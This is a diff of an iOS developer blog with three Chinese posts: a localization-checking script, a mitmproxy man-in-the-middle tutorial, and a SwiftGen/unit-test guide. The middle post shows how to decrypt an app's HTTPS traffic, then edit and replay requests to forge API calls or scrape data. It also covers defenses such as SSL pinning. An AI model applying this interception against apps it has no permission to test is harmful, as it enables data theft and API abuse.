+    let patterns = [
+        "#imageLiteral\\(resourceName: \"\(namePattern)\"\\)", // Image Literal
+        "UIImage\\(named:\\s*\"\(namePattern)\"\\)", // Default UIImage call (Swift)
+        "UIImage imageNamed:\\s*\\@\"\(namePattern)\"", // Default UIImage call 
+        "\\<image name=\"\(namePattern)\".*", // Storyboard resources
+        "R.image.\(namePattern)\\(\\)" //R.swift support
+    ]
+    for p in patterns {
+        let regex = try? NSRegularExpression(pattern: p, options: [])
+        let range = NSRange(location:0, length:(inStringFile as NSString).length)
+        regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in
+            if let r = result {
+                let value = (inStringFile as NSString).substring(with:r.range(at: 1))
+                localizedStrings.append(value)
+            }
+        }
+    }
+    return localizedStrings
+}
+
+func listUsedAssetLiterals() -> [String] {
+    let enumerator = FileManager.default.enumerator(atPath:sourcePath)
+    print(sourcePath)
+    
+    #if swift(>=4.1)
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .compactMap{$0}
+            .compactMap{$0}                                             // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings ocurrences
+            .flatMap{$0}                                                // Flatten
+    #else
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .flatMap{$0}
+            .flatMap{$0}                                                // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings ocurrences
+            .flatMap{$0}                                                // Flatten
+    #endif
+}
+
1
+2
+3
+4
+
//要讓 build 時出現 Error ❌:
+print("Project檔案.lproj" + "/檔案:行: " + "error: 錯誤訊息")
+//要讓 build 時出現 Warning ⚠️:
+print("Project檔案.lproj" + "/檔案:行: " + "warning: 警告訊息")
+

可以綜合參考以上的程式方法,自己打造想要的工具。

總結

這兩個檢查工具導入之後,我們在開發上就能更安心、更有效率並且減少冗餘;也因為這次經驗大開眼界,日後如果有什麼新的 build run script 需求都能直接使用最熟悉的語言 swift 來進行製作!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難

Apple Watch Series 6 開箱 & 兩年使用體驗

diff --git a/posts/46410aaada00/index.html b/posts/46410aaada00/index.html new file mode 100644 index 000000000..aad84f092 --- /dev/null +++ b/posts/46410aaada00/index.html @@ -0,0 +1,75 @@ + APP有用HTTPS傳輸,但資料還是被偷了。 | ZhgChgLi
Home APP有用HTTPS傳輸,但資料還是被偷了。
Post
Cancel

APP有用HTTPS傳輸,但資料還是被偷了。

APP有用HTTPS傳輸,但資料還是被偷了。

iOS+MacOS 使用 mitmproxy 進行中間人攻擊(Man-in-the-middle attack) 嗅探API傳輸資料教學及如何防範?

前言

前陣子剛在公司辦完一場內部的 CTF競賽 ,在發想題目時回想起大學時候還在做後端(PHP)時經手的專案,一個集點的APP,大概就是有個任務列表,然後觸發條件完成就Call API獲得點數;老闆認為Call API有經過HTTPS加密傳輸資料就很安全了 — 直到我向他展示中間人攻擊,直接嗅探傳輸資料,偽造API呼叫獲得點數….

再加上最近幾年大數據崛起,網路爬蟲滿天飛;爬蟲攻防戰日漸白熱化, 爬取與防爬之間花招百出 ,只能說道高一尺魔高一丈啊!

爬蟲的另一條下手對象就是APP的API,如果沒有任何防範幾乎等於門戶大開;不但好操作而且格式也乾淨,更不容易被識別阻擋;所以如果網頁端已經費盡全力阻擋,資料還是不段被爬,不妨檢查一下APP的API有無漏洞。

因為這個議題我不知道該如何出在 CTF比賽中 ,所以就單拉出一篇文章作為紀錄 ;本篇只是粗淺給個概念 — HTTPS能透過憑證替換進行傳輸內容解密 、如何加強安全性防止;實際網路理論不是我的強項也都還給老師了,如果已經有這方面概念的朋友就不用花時間看這篇,或拉到底看APP該如果保護!

實際操作

環境: MacOS + iOS

Android 使用者可以直接下載 Packet Capture (免費)、iOS 用戶可使用 Surge 4 這套軟體( 付費) 解鎖中間人攻擊功能、MacOS也可以使用另一套付費軟體Charles。

本文章主要講解iOS使用 免費 的 mitmproxy 進行操作,如果您有上述的環境就不用這麼麻煩啦,直接APP打開在手機上掛載VPN替換掉憑證就能進行中間人攻擊!(ㄧ樣請直接下拉到底看該如何保護!)

[2021/02/25 更新]: Mac 有新的免費圖形化介面程式 ( Proxyman ) 可以用,可搭配 參考此篇文章 的第一部分。

安裝 mitmproxy

直接使用 brew 安裝

1
+
brew install mitmproxy
+

安裝完成!

p.s 如果你出現 brew: command not found 請先安裝 brew 套件管理工具

1
+
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
+

mitmproxy 使用

安裝完成後,在 Terminal 輸入以下指令啟用:

1
+
mitmproxy
+

啟動成功

啟動成功

讓手機跟Mac在同個區域網路內&取得Mac的IP位址

方法(1) Mac 連接 WiFi、手機也使用同個 WiFi Mac的IP位址 = 「系統偏好設定」->「網路」->「Wi-Fi」->「IP Address」

方法(2) Mac 使用有線網路,開啟網路分享;手機連上該熱點網路:

「系統偏好設定」-> 「共享」->選擇「乙太網路」->「Wi-Fi」打勾-> 「Internet 共享」啟用

「系統偏好設定」-> 「共享」->選擇「乙太網路」->「Wi-Fi」打勾-> 「Internet 共享」啟用

Mac的IP位址 = 192.168.2.1 (️️注意⚠️ 不是乙太網路網路的IP,是Mac用做網路分享基地台的IP)

手機網路設置WiFi — Proxy伺服器資訊

「設定」-> 「WiFi」-> 「HTTP 代理伺服器」-> 「手動」-> 「伺服器輸入 **Mac的IP位址** 」-> 「連接埠輸入 **8080** 」-> 「儲存」

「設定」-> 「WiFi」-> 「HTTP 代理伺服器」-> 「手動」-> 「伺服器輸入 Mac的IP位址 」-> 「連接埠輸入 8080 」-> 「儲存」

這時網頁打不開、出現憑證錯誤是正常的;我們繼續往下做…

安裝 mitmproxy 自訂 https 憑證

如同上述所說,中間人攻擊的實現方式就是在通訊之中使用自己的憑證做抽換加解密資料;所以我們也要在手機上安裝這個自訂的憑證。

1.用手機safari打開 http://mitm.it

出現左邊->Proxy設定✅/ 出現右邊代表 Proxy設定有誤🚫

出現左邊->Proxy設定✅/ 出現右邊代表 Proxy設定有誤🚫

「Apple」->「安裝描述檔」->「安裝」

「Apple」->「安裝描述檔」->「安裝」

⚠️到這裡還沒結束,我們還要去關於裡啟用描述檔

「一般」->「關於」->「憑證信任設定」->「mitmproxy」啟用

「一般」->「關於」->「憑證信任設定」->「mitmproxy」啟用

完成!這時我們再回去瀏覽器就能正常瀏覽網頁了。

回到Mac 上操作 mitmproxy

可以在mitmproxy Terminal上看到剛手機的資料傳輸紀錄

可以在mitmproxy Terminal上看到剛手機的資料傳輸紀錄

找到想嗅探的紀錄進入查看Request(送出哪些參數)/Response(回傳了什麼內容)

找到想嗅探的紀錄進入查看Request(送出哪些參數)/Response(回傳了什麼內容)

常用操作按鍵集:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
「 ? 」= 查看按鍵操作集文檔
+「 k 」/「⬆」= 上 
+「 j 」/「⬇」= 下 
+「 h 」/「⬅」= 左 
+「 l 」/「➡️」️= 右 
+「 space 」= 下一頁
+「 enter 」= 進入查看詳情
+「 q 」= 返回上一頁/退出
+「 b 」= 匯出response body到指定path文字檔 
+「 f 」= 篩選紀錄條件
+「 z 」= 清除所有紀錄
+「 e 」= 編輯Request(cookie、headers、params...)
+「 r 」= 重新發送Request
+

不習慣CLI? 沒關係,可以改用 Web GUI !

除了 mitmproxy 啟用方式之外,我們可以改下:

1
+
mitmweb
+

就能使用新的 Web GUI 進行操作觀察

mitmweb

mitmweb

重頭戲,嗅探APP資料:

上述環境都建置完成也熟悉之後,就可以進入我們的重頭戲;嗅探APP API的資料傳輸內容!

這邊以某房屋APP作為範例,無惡意純學術交流使用!

我們想知道物件列表的API是如何請求和回傳什麼內容!

首先先按「z」清除所有紀錄(避免搞亂)

首先先按「z」清除所有紀錄(避免搞亂)

開啟目標 APP

開啟目標 APP

開啟目標 APP 嘗試「下拉重整」或觸發「載入下一頁」的動作。

🛑若你的目標APP打不開、連不上;那抱歉了,代表APP有做防範無法用這招嗅探,請直接下拉到如何保護的章節🛑

mitmproxy 紀錄

mitmproxy 紀錄

回到 mitmproxy 查看紀錄,發揮偵探的精神猜測哪個API請求紀錄是我們想要的並進入查看詳細!

Request

Request

Request 部分可以看到 請求傳遞了哪些參數

搭配「e」編輯與「r」重新發送,並觀察 Response 就可以猜到每個參數的用途囉!

Response

Response

Response 也能直接獲得原始回傳內容。

🛑若Response內容是一堆編碼;那也抱歉了,代表APP可能有自己再做一次加解密無法用這招嗅探,請直接下拉到如何保護的章節🛑

很難閱讀?中文亂碼?沒關係,這邊可以用「b」匯出成文字檔到桌面,再將內容複製到 Json Editor Online 解析即可!

*或是直接使用 mitmweb 使用 web gui 直接瀏覽、操作

mitmweb

mitmweb

經過嗅探、觀察、過濾、測試之後就能知道APP API的運作方式,藉此就能利用,用爬蟲爬取資料。

*蒐集完所需資訊記得關閉mitmproxy、手機網路Proxy代理伺服器改回自動,才能正常使用網路。

APP 該如何自保?

若掛上 mitmproxy 之後發現APP不能用、回傳內容是編碼,代表APP有做保護。

做法(1):

大略是將憑證資訊放一份到APP中,若當前HTTPS使用的憑證與APP中的資訊不符則拒絕訪問,詳細可以 看此 或找 SSL Pinning 相關資源。缺點可能就是要注意憑證有效期的問題吧!

[https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc](https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc){:target="_blank"}

https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc

作法(2):

APP端在資料要傳輸前先進行編碼加密,API後端收到後解密取得原始請求內容;API回傳內容一樣先進行編碼加密,APP端收到資料後解密取得回傳內容;步驟很煩瑣也耗效能,但的確是個方法;據我所知好像某數字銀行就是用這招進行保護!

不過….

作法1,依然有破解方法: 如何在iOS 12上绕过SSL Pinning

作法2,透過反編譯工程也能獲得編碼加密用的密鑰

⚠️沒有100%的安全⚠️

或是乾脆挖個洞讓它爬,邊搜集各種證據,再用法務解決(?

還是那句話:

「 NEVER TRUST THE CLIENT」

mitmproxy 的更多玩法:

1.使用mitmdump

mitmproxymitmwebmitmdump 可直接將所有紀錄匯出到文字檔中

1
+
mitmdump -w /log.txt
+

並且能使用 玩法(2) python程式,設定、篩選流量:

1
+
mitmdump -ns examples/filter.py -r /log.txt -w /result.txt
+

2.搭配python程式做請求參數設定、訪問控制、轉址:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
from mitmproxy import http
+
+def request(flow: http.HTTPFlow) -> None:
+    # pretty_host takes the "Host" header of the request into account,
+    # which is useful in transparent mode where we usually only have the IP
+    # otherwise.
+    
+    # 請求參數設定 Example:
+    flow.request.headers['User-Agent'] = 'MitmProxy'
+    
+    if flow.request.pretty_host == "123.com.tw":
+        flow.request.host = "456.com.tw"
+    # 將123.com.tw的訪問全導到456.com.tw
+

啟用mitmproxy時加上參數:

1
+2
+3
+4
+5
+
mitmproxy -s /redirect.py
+or
+mitmweb -s /redirect.py
+or
+mitmdump -s /redirect.py
+

補個坑

在使用 mitmproxy 觀察使用 HTTP 1.1 及 Accept-Ranges: bytes、 Content-Range 長連接片段持續拿取資源的請求時,會等到 response 全部回來才會顯示,而不是顯示分段、使用持久連接接續下載!

踩坑在這

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

如何打造一場有趣的工程CTF競賽

iPlayground 2019 是怎麼樣的體驗?

diff --git a/posts/48a8526c1300/index.html b/posts/48a8526c1300/index.html new file mode 100644 index 000000000..280c347c1 --- /dev/null +++ b/posts/48a8526c1300/index.html @@ -0,0 +1,493 @@ + iOS 為多語系字串買份保險吧! | ZhgChgLi
Home iOS 為多語系字串買份保險吧!
Post
Cancel

iOS 為多語系字串買份保險吧!

iOS 為多語系字串買份保險吧!

使用 SwifGen & UnitTest 確保多語系操作的安全

Photo by [Mick Haupt](https://unsplash.com/es/@rocinante_11?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Mick Haupt

問題

純文字檔案

iOS 的多語系處理方式是 Localizable.strings 純文字檔案,不像 Android 是透過 XML 格式來管理;所以在日常開發上就會有不小心把語系檔改壞或是漏加的風險再加上多語系不會在 Build Time 檢查出錯誤,往往都是上線後,某個地區的使用者回報才發現問題,會大大降低使用者信心程度。

之前血淋淋的案例,大家 Swift 寫的太習慣忘記 Localizable.strings 要加 ; ,導致某個語系上線後從漏掉 ; 的語句往後全壞掉;最後緊急 Hotfix 才化險為夷。

多語系有問題就會直接把 Key 顯示給使用者

如上圖所示,假設 DESCRIPTION Key 漏加, App就會直接顯示 DESCRIPTION 給使用者。

檢查需求

  • Localizable.strings 格式正確檢查 (換行結尾需加上 ; 、合法 Key Value 對應)
  • 程式碼中有取用的多語系 Key 要在 Localizable.strings 檔有對應定義
  • Localizable.strings 檔各個語系都要有相應的 Key Value 紀錄
  • Localizable.strings 檔不能有重複的 Key (否則 Value 會被意外覆蓋)

解決方案

使用 Swift 撰寫完整檢查工具

之前的做法是「 Xcode 直接使用 Swift 撰寫 Shell Script! 」參考 Localize 🏁 工具使用 Swift 開發 Command Line Tool 從外部做多語系檔案檢查,再把腳本放到 Build Phases Run Script 中,在 Build Time 執行檢查。

優點: 檢查程式是由外部注入,不依賴在專案上,可以不透過 XCode、不需 Build 專案也能執行檢查、檢查功能能精確到哪個檔案的第幾行;另外還能做 Format 功能 (排序多語系 Key A->Z)。

缺點: 增加 Build Time ( + ~= 3 mins)、流程發散,腳本有問題或需因應專案架構調整時難以交接維護,因這塊不在專案內,除了加入這段檢查進來的人知道整個邏輯,其他協作者很難碰觸到這塊。

有興趣的朋友可以參考之前的那篇文章,本篇主要介紹的方式是透過 XCode 13+SwiftGen+UnitTest 來達成檢查 Localizable.strings 的所有功能。

XCode 13 內建 Build Time 檢查 Localizable.strings 檔案格式正確性

升級 XCode 13 之後就內建了 Build Time 檢查 Localizable.strings 檔案格式的功能,經測試檢查的規格相當完整,除了漏掉 ; 外如有多餘無意義的字串也會被擋下來。

使用 SwiftGen 取代原始 NSLocalizedString String Base 存取方式

SwiftGen 能幫助我們將原本的 NSLocalizedString String 存取方式改成 Object 存取,防止不小心打錯字、忘記在 Key 宣告的情況出現。

SwiftGen 核心也是 Command Line Tool;但是這工具在業界蠻流行的而且有完整的文件及社群資源在維護,不必害怕導入這個工具後續難維護的問題。

Installation

可依照您的環境或 CI/CD 服務設定去選擇安裝方式,這邊 Demo 直接用最直接的 CocoaPods 進行安裝。

請注意 SwiftGen 並不是真的 CocoaPods,他不會跟專案中的程式碼有任何依賴;使用 CocoaPods 安裝 SwiftGen 單純只是透過它下載這個 Command Line Tool 執行檔回來。

podfile 中加入 swiftgen pod:

1
+
pod 'SwiftGen', '~> 6.0'
+

Init

pod install 之後打開 Terminal cd 到專案下

1
+
/L10NTests/Pods/SwiftGen/bin/swiftGen config init
+

init swiftgen.yml 設定檔,並打開它

1
+2
+3
+4
+5
+6
+7
+8
+
strings:
+  - inputs:
+      - "L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings"
+    outputs:
+      templateName: structured-swift5
+      output: "L10NTests/Supporting Files/SwiftGen-L10n.swift"
+      params:
+        enumName: "L10n"
+

貼上並修改成符合您專案的格式:

inputs: 專案語系檔案位置 (建議指定 DevelopmentLocalization 語系的語系檔)

outputs: output: 轉換結果的 swift 檔案位置 params: enumName: 物件名稱 templateName: 轉換模板

可以下 swiftGen template list 取得內建的模板列表

flat v.s. structured

flat v.s. structured

差別在如果 Key 風格是 XXX.YYY.ZZZ flat 模板會轉換成小駝峰;structured 模板會照原始風格轉換成 XXX.YYY.ZZZ 物件。

純 Swift 專案可直接使用內建模板,但若是 Swift 混 OC 的專案就需要自行客製化模板:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+
// swiftlint:disable all
+// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen
+
+{% if tables.count > 0 %}
+{% set accessModifier %}{% if param.publicAccess %}public{% else %}internal{% endif %}{% endset %}
+import Foundation
+
+// swiftlint:disable superfluous_disable_command file_length implicit_return
+
+// MARK: - Strings
+
+{% macro parametersBlock types %}{% filter removeNewlines:"leading" %}
+  {% for type in types %}
+    {% if type == "String" %}
+    _ p{{forloop.counter}}: Any
+    {% else %}
+    _ p{{forloop.counter}}: {{type}}
+    {% endif %}
+    {{ ", " if not forloop.last }}
+  {% endfor %}
+{% endfilter %}{% endmacro %}
+{% macro argumentsBlock types %}{% filter removeNewlines:"leading" %}
+  {% for type in types %}
+    {% if type == "String" %}
+    String(describing: p{{forloop.counter}})
+    {% elif type == "UnsafeRawPointer" %}
+    Int(bitPattern: p{{forloop.counter}})
+    {% else %}
+    p{{forloop.counter}}
+    {% endif %}
+    {{ ", " if not forloop.last }}
+  {% endfor %}
+{% endfilter %}{% endmacro %}
+{% macro recursiveBlock table item %}
+  {% for string in item.strings %}
+  {% if not param.noComments %}
+  {% for line in string.translation|split:"\n" %}
+  /// {{line}}
+  {% endfor %}
+  {% endif %}
+  {% if string.types %}
+  {{accessModifier}} static func {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}}({% call parametersBlock string.types %}) -> String {
+    return {{enumName}}.tr("{{table}}", "{{string.key}}", {% call argumentsBlock string.types %})
+  }
+  {% elif param.lookupFunction %}
+  {# custom localization function is mostly used for in-app lang selection, so we want the loc to be recomputed at each call for those (hence the computed var) #}
+  {{accessModifier}} static var {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}}: String { return {{enumName}}.tr("{{table}}", "{{string.key}}") }
+  {% else %}
+  {{accessModifier}} static let {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}} = {{enumName}}.tr("{{table}}", "{{string.key}}")
+  {% endif %}
+  {% endfor %}
+  {% for child in item.children %}
+  {% call recursiveBlock table child %}
+  {% endfor %}
+{% endmacro %}
+// swiftlint:disable function_parameter_count identifier_name line_length type_body_length
+{% set enumName %}{{param.enumName|default:"L10n"}}{% endset %}
+@objcMembers {{accessModifier}} class {{enumName}}: NSObject {
+  {% if tables.count > 1 or param.forceFileNameEnum %}
+  {% for table in tables %}
+  {{accessModifier}} enum {{table.name|swiftIdentifier:"pretty"|escapeReservedKeywords}} {
+    {% filter indent:2 %}{% call recursiveBlock table.name table.levels %}{% endfilter %}
+  }
+  {% endfor %}
+  {% else %}
+  {% call recursiveBlock tables.first.name tables.first.levels %}
+  {% endif %}
+}
+// swiftlint:enable function_parameter_count identifier_name line_length type_body_length
+
+// MARK: - Implementation Details
+
+extension {{enumName}} {
+  private static func tr(_ table: String, _ key: String, _ args: CVarArg...) -> String {
+    {% if param.lookupFunction %}
+    let format = {{ param.lookupFunction }}(key, table)
+    {% else %}
+    let format = {{param.bundle|default:"BundleToken.bundle"}}.localizedString(forKey: key, value: nil, table: table)
+    {% endif %}
+    return String(format: format, locale: Locale.current, arguments: args)
+  }
+}
+{% if not param.bundle and not param.lookupFunction %}
+
+// swiftlint:disable convenience_type
+private final class BundleToken {
+  static let bundle: Bundle = {
+    #if SWIFT_PACKAGE
+    return Bundle.module
+    #else
+    return Bundle(for: BundleToken.self)
+    #endif
+  }()
+}
+// swiftlint:enable convenience_type
+{% endif %}
+{% else %}
+// No string found
+{% endif %}
+

以上提供一個網路搜集來&客製化過兼容 Swift 和 OC 的模板,可自行建立 flat-swift5-objc.stencil File 然後貼上內容或 點此直接下載 .zip

使用客製化模板的話就不是用 templateName 了,而要改宣告 templatePath:

1
+2
+3
+4
+5
+6
+7
+8
+
strings:
+  - inputs:
+      - "L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings"
+    outputs:
+      templatePath: "path/to/flat-swift5-objc.stencil"
+      output: "L10NTests/Supporting Files/SwiftGen-L10n.swift"
+      params:
+        enumName: "L10n"
+

將 templatePath 路徑指定到 .stencil 模板在專案中的位置即可。

Generator

設定好之後可以回到 Termnial 手動下:

1
+
/L10NTests/Pods/SwiftGen/bin/swiftGen
+

執行轉換,第一次轉換後請手動從 Finder 將轉換結果檔案 (SwiftGen-L10n.swift) 拉到專案中,程式才能使用。

Run Script

在專案設定中 -> Build Phases -> + -> New Run Script Phases -> 貼上:

1
+2
+3
+4
+5
+6
+
if [[ -f "${PODS_ROOT}/SwiftGen/bin/swiftgen" ]]; then
+  echo "${PODS_ROOT}/SwiftGen/bin/swiftgen"
+  "${PODS_ROOT}/SwiftGen/bin/swiftgen"
+else
+  echo "warning: SwiftGen is not installed. Run 'pod install --repo-update' to install it."
+fi
+

這樣在每次 Build 專案時都會跑 Generator 產出最新的轉換結果。

CodeBase 中如何使用?

1
+2
+
L10n.homeTitle
+L10n.homeDescription("ZhgChgLi") // with arg
+

有了 Object Access 後就不可能出現打錯字及 Code 裡面有在用的 Key 但 Localizable.strings 檔忘記宣告的情況。

但 SwiftGen 只能指定從某個語系產生,所以無法阻擋產生的語系有這個 Key 但在其他語系忘記定義的狀況;此狀況要用下面的 UnitTest 才能保護。

轉換

轉換才是這個問題最困難的地方,因為已開發完成的專案中大量使用 NSLocalizedString 要將其轉換成新的 L10n.XXX 格式、如果是有帶參數的語句又更複雜 String(format: NSLocalizedString ,另外如果有混 OC 還要考慮 OC 的語法與 Swift 不同。

沒有什麼特別的解法,只能自己寫一個 Command Line Tools,可參考 上一篇文章 中使用 Swift 掃描專案目錄、Parse 出 NSLocalizedString 的 Regex 撰寫一個小工具去轉換。

建議一次轉換一個情境,能 Build 過再轉換下一個。

  • Swift -> NSLocalizedString 無參數
  • Swift -> NSLocalizedString 有參數情況
  • OC -> NSLocalizedString 無參數
  • OC -> NSLocalizedString 有參數情況

透過 UnitTest 檢查各語系檔與主要語系檔案有沒有缺漏及 Key 有無重複

我們可以透過撰寫 UniTest 從 Bundle 讀取出 .strings File 內容,並加以測試。

從 Bundle 讀取出 .strings 並轉成物件:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+
class L10NTestsTests: XCTestCase {
+    
+    private var localizations: [Bundle: [Localization]] = [:]
+    
+    override func setUp() {
+        super.setUp()
+        
+        let bundles = [Bundle(for: type(of: self))]
+        
+        //
+        bundles.forEach { bundle in
+            var localizations: [Localization] = []
+            
+            bundle.localizations.forEach { lang in
+                var localization = Localization(lang: lang)
+                
+                if let lprojPath = bundle.path(forResource: lang, ofType: "lproj"),
+                   let lprojBundle = Bundle(path: lprojPath) {
+                    
+                    let filesInLPROJ = (try? FileManager.default.contentsOfDirectory(atPath: lprojBundle.bundlePath)) ?? []
+                    localization.localizableStringFiles = filesInLPROJ.compactMap { fileFullName -> L10NTestsTests.Localization.LocalizableStringFile? in
+                        let fileName = URL(fileURLWithPath: fileFullName).deletingPathExtension().lastPathComponent
+                        let fileExtension = URL(fileURLWithPath: fileFullName).pathExtension
+                        guard fileExtension == "strings" else { return nil }
+                        guard let path = lprojBundle.path(forResource: fileName, ofType: fileExtension) else { return nil }
+                        
+                        return L10NTestsTests.Localization.LocalizableStringFile(name: fileFullName, path: path)
+                    }
+                    
+                    localization.localizableStringFiles.enumerated().forEach { (index, localizableStringFile) in
+                        if let fileContent = try? String(contentsOfFile: localizableStringFile.path, encoding: .utf8) {
+                            let lines = fileContent.components(separatedBy: .newlines)
+                            let pattern = "\"(.*)\"(\\s*)(=){1}(\\s*)\"(.+)\";"
+                            let regex = try? NSRegularExpression(pattern: pattern, options: [])
+                            let values = lines.compactMap { line -> Localization.LocalizableStringFile.Value? in
+                                let range = NSRange(location: 0, length: (line as NSString).length)
+                                guard let matches = regex?.firstMatch(in: line, options: [], range: range) else { return nil }
+                                let key = (line as NSString).substring(with: matches.range(at: 1))
+                                let value = (line as NSString).substring(with: matches.range(at: 5))
+                                return Localization.LocalizableStringFile.Value(key: key, value: value)
+                            }
+                            localization.localizableStringFiles[index].values = values
+                        }
+                    }
+                    
+                    localizations.append(localization)
+                }
+            }
+            
+            self.localizations[bundle] = localizations
+        }
+    }
+}
+
+private extension L10NTestsTests {
+    struct Localization: Equatable {
+        struct LocalizableStringFile {
+            struct Value {
+                let key: String
+                let value: String
+            }
+            
+            let name: String
+            let path: String
+            var values: [Value] = []
+        }
+        
+        let lang: String
+        var localizableStringFiles: [LocalizableStringFile] = []
+        
+        static func == (lhs: Self, rhs: Self) -> Bool {
+            return lhs.lang == rhs.lang
+        }
+    }
+}
+

我們定義我們定義了一個 Localization 來存放頗析出來的資料,從 Bundle 中去找 lproj 再從其中找出 .strings 然後再使用正則表示法將多語系語句轉換成物件放回到 Localization ,以利後續測試使用。

這邊有幾個需要注意的:

  • 使用 Bundle(for: type(of: self)) 從 Test Target 取得資源
  • 記得將 Test Target 的 STRINGS_FILE_OUTPUT_ENCODING 設為 UTF-8 ,否則使用 String 讀取檔案內容時會失敗 (預設會是 Biniary)
  • 使用 String 讀取而不用 NSDictionary 的原因是,我們需要測試重複的 Key,使用 NSDictionary 會在讀取的時候就蓋掉重複的 Key 了
  • 記得 .strings File 要增加 Test Target

TestCase 1. 測試同一個 .strings 檔案內有無重複定義的 Key:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
func testNoDuplicateKeysInSameFile() throws {
+    localizations.forEach { (_, localizations) in
+        localizations.forEach { localization in
+            localization.localizableStringFiles.forEach { localizableStringFile in
+                let keys = localizableStringFile.values.map { $0.key }
+                let uniqueKeys = Set(keys)
+                XCTAssertTrue(keys.count == uniqueKeys.count, "Localized Strings File: \(localizableStringFile.path) has duplicated keys.")
+            }
+        }
+    }
+}
+

Input:

Result:

TestCase 2. 與 DevelopmentLocalization 語言相比,有無缺少/多餘的 Key:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
func testCompareWithDevLangHasMissingKey() throws {
+    localizations.forEach { (bundle, localizations) in
+        let developmentLang = bundle.developmentLocalization ?? "en"
+        if let developmentLocalization = localizations.first(where: { $0.lang == developmentLang }) {
+            let othersLocalization = localizations.filter { $0.lang != developmentLang }
+            
+            developmentLocalization.localizableStringFiles.forEach { developmentLocalizableStringFile in
+                let developmentLocalizableKeys = Set(developmentLocalizableStringFile.values.map { $0.key })
+                othersLocalization.forEach { otherLocalization in
+                    if let otherLocalizableStringFile = otherLocalization.localizableStringFiles.first(where: { $0.name == developmentLocalizableStringFile.name }) {
+                        let otherLocalizableKeys = Set(otherLocalizableStringFile.values.map { $0.key })
+                        if developmentLocalizableKeys.count < otherLocalizableKeys.count {
+                            XCTFail("Localized Strings File: \(otherLocalizableStringFile.path) has redundant keys.")
+                        } else if developmentLocalizableKeys.count > otherLocalizableKeys.count {
+                            XCTFail("Localized Strings File: \(otherLocalizableStringFile.path) has missing keys.")
+                        }
+                    } else {
+                        XCTFail("Localized Strings File not found in Lang: \(otherLocalization.lang)")
+                    }
+                }
+            }
+        } else {
+            XCTFail("developmentLocalization not found in Bundle: \(bundle)")
+        }
+    }
+}
+

Input: (相較 DevelopmentLocalization 其他語系缺少宣告 Key)

Output:

Input: (DevelopmentLocalization 沒有這個 Key,但在其他語系出現)

Output:

總結

綜合以上方式,我們使用:

  • 新版 XCode 幫我們確保 .strings 檔案格式正確性 ✅
  • SwiftGen 確保 CodeBase 引用多語系時不會打錯或沒宣告就引用 ✅
  • UnitTest 確保多語系內容正確性 ✅

優點:

  • 執行速度快,不拖累 Build Time
  • 只要是 iOS 開發者都會維護

進階

Localized File Format

這個解決方案無法達成,還是需使用原本 用 Swift 寫的 Command Line Tool 來達成 ,不過 Format 部分可以在 git pre-commit 做就好;沒有 diff 調整就不做,避免每次 build 都要跑一次:

1
+2
+3
+4
+5
+6
+7
+8
+
#!/bin/sh
+
+diffStaged=${1:-\-\-staged} # use $1 if exist, default --staged.
+
+git diff --diff-filter=d --name-only $diffStaged | grep -e 'Localizable.*\.\(strings\|stringsdict\)$' | \
+  while read line; do
+    // do format for ${line}
+done
+

.stringdict

同樣的原理也可用在 .stringdict

CI/CD

swiftgen 可以不用放在 build phase,因為每次 build 都會跑一次,而且 Build 完程式碼才會出現,可以改成有調整再下指令產生就好。

明確得到錯在哪個 Key

